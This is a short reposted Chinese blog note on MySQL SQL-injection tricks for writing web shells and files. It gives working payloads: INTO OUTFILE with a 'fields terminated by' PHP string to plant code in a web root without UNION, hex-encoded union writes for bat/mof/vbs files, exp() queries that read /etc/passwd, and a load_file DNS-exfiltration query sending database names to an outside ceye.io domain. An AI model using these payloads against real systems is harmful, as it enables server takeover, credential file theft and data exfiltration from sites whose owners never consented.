mysql寫Shell小技巧


 

今天終於在表哥的幫助下解決了文件導入/出這個問題了。(很菜逼的一個問題),然后將最近看到的文章都自己測試了下,順便奉上記錄。
1.Mysql數據庫支持union的時候寫文件小技巧:
 
采用常規的union寫入,可以看到前面的字段占位數肯定也會被寫入,替換成null也是一樣的結果,這個對於寫shell沒啥大礙,
但是如果用來寫bat,mof,vbs等文件就會出問題了,那么怎么去掉這個只寫入我們需要的內容呢?采用hex編碼就好了。
 
將我們要寫入的內容使用hex編碼在分段寫在每個字段位上,這樣就可以只寫入我們需要的內容了。

2.不支持union的時候寫入,很多人都不知道這個辦法,以為要寫入內容必須要支持union,看到一篇文章,可以不需要支持這個辦法。
語法:select * from admin where id=1 into outfile ‘F:\WWW\phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23
 
可以看到成功寫入,但是這個方法有一個弊病就是查詢出來的數據必須大於或等於2以上才可以寫入內容,寫入的內容數=查詢出來的數據-1
 
可以看到,當我們使前面的數據出錯查不到數據的時候,寫入是失敗的。
看看sqlmap中的情況:
 
可以很明顯的看到sqlmap中也有這種辦法寫入。(burp抓取sqlmap數據包:加上 --proxy "http://127.0.0.1:8080/" 在burp里可以看到請求)
 
當然可以看到也通過了常規的union寫入文件。
同時附上一個函數exp()。通過這個函數也可以讀取文件,但是寫文件只能寫入一個內容為0的文件,這里就必須結合其他的漏洞利用了,如:文件覆蓋之類的。
讀文件:
select exp(~(select*from(select load_file('/etc/passwd'))a));  
寫文件:
select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  //但是只能寫一個0進去。


3.關於使用dns解析來讓盲注更加簡單。
首先看下load_file()這個函數,這個函數可以用來發送dns解析請求。
然后使用類似的語句:select id from admin where id=1 and if((select load_file(concat('\\\\',(select database()),'.ceye.io\\abc'))),1,1);
即可成功將database()解析到域名的dns前面。前提是支持讀文件權限,這個在實戰中占的比列大概只有%30左右吧。
 
還有就是命令執行同時也支持的,如:
 

實戰中也類似這個道理。在可能存在命令執行的地方,ping+域名,或許就能查看到是否執行了。
本來是自己寫的word作為記錄儲存的,順便和大家分享下。
相關資料:
https://ricterz.me/posts/%E7%AC% ... Injection%20Attacks
https://bbs.ichunqiu.com/thread-22002-1-1.html
http://lu4n.com/mysql-sqli-write-webshell-two-methods/

---恢復內容結束---


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM